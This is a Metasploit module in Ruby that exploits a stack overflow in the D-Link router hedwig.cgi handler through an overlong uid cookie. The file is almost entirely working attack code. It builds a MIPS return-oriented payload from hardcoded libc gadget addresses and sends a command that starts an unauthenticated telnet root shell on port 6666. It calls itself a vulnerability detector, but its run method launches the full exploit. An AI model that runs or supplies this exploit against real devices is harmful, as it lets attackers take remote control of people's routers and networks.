require "net/http"
require "uri"
require "json"
class MetasploitModule < Msf::Auxiliary
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::Tcp
   
    def initialize
      super(
        'Name'           => 'Dlink-DIR_Aleph-0',
        'Description'    => %q{
        This module exploits an anonymous remote code execution vulnerability on several D-Link
        routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
        long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
        and the DIR645A1_FW103B11 firmware.
      },
        'Author'         => 'H1T52{Aleph-0}',
        'License'        => MSF_LICENSE
      )
      deregister_options('SSL','VHOST','Proxies')
      register_options(
        [
          OptString.new('RHOSTS', [true, 'The target HOST.', '192.168.119.133']),
          OptString.new('RPORT', [true, 'The target PORT.', '1234']),
        ]) 
    
    end 
    
    def pack(number, bits, endian)
                                         
      limit = 1 << bits                                                
      unless 0 <= number && number < limit                                                    
        raise ArgumentError, "unsigned number=#{number} does not fit within bits=#{bits}"          
      end  

      number &= (1 << bits) - 1                                    
      bytes = (bits + 7) / 8                   
      out = []                                                    
      bytes.times do
        out << (number & 0xFF)
        number >>= 8             
      end               
                                                                                 
      out = out.pack('C*')                                                                                    
      endian == 'little' ? out : out.reverse
    end    

    def p32(number)
      pack(number,bits=32,endian='little')
    end

    def get_payload(offset, libc_base, cmd)
      calcsystem = 0x158c8    # $s0 add 1, jalr $s5
      callsystem = 0x159cc    # '/bin/sh' -> $a0, jalr system
      system_addr_1 = 0x53200 - 1
      payload = 'A'  * offset  # 973
      payload += p32(libc_base + system_addr_1)  # s0     977
      payload += 'A' * 4                        # s1     981
      payload += 'A' * 4                        # s2     985
      payload += 'A' * 4                        # s3     989
      payload += 'A' * 4                        # s4     993
      payload += p32(libc_base + callsystem)     # s5     997
      payload += 'A' * 4                        # s6     1001
      payload += 'A' * 4                        # s7     1005
      payload += 'A' * 4                        # fp     1009
      payload += p32(libc_base + calcsystem)     # ra
      payload += 'B' * 0x10
      payload += cmd
      return payload
    end

    def run
      cmd = "telnetd -p 6666 -l /bin/sh"
      cookie =  "uid=" + get_payload(973, 0x77f34000, cmd)
      ip_port = datastore['RHOSTS'] + ":" + datastore['RPORT']
      url = "http://" + ip_port + "/hedwig.cgi"
      uri = URI(url)

      http = Net::HTTP.new(uri.hostname, uri.port)
      req = Net::HTTP::Post.new(uri)

      req['Cookie'] = cookie
      req['Content-Type'] = "application/x-www-form-urlencoded"
      req['Content-Length'] = "100"
      req.set_form_data('uid' => '1234')
      begin
        res = Net::HTTP.start(uri.hostname, uri.port) {|http|
          http.request(req)
        }
        print_error("Some errors occurs...")
      rescue Net::ReadTimeout => error
        if error.message.include? "TCPSocket:(closed)"
          print_good("Router Dlink-DIR series vulnerabilities are detected successfully")
        else
          print_good("Router Dlink-DIR series vulnerabilities were not detected")
        end
      end
    end
end

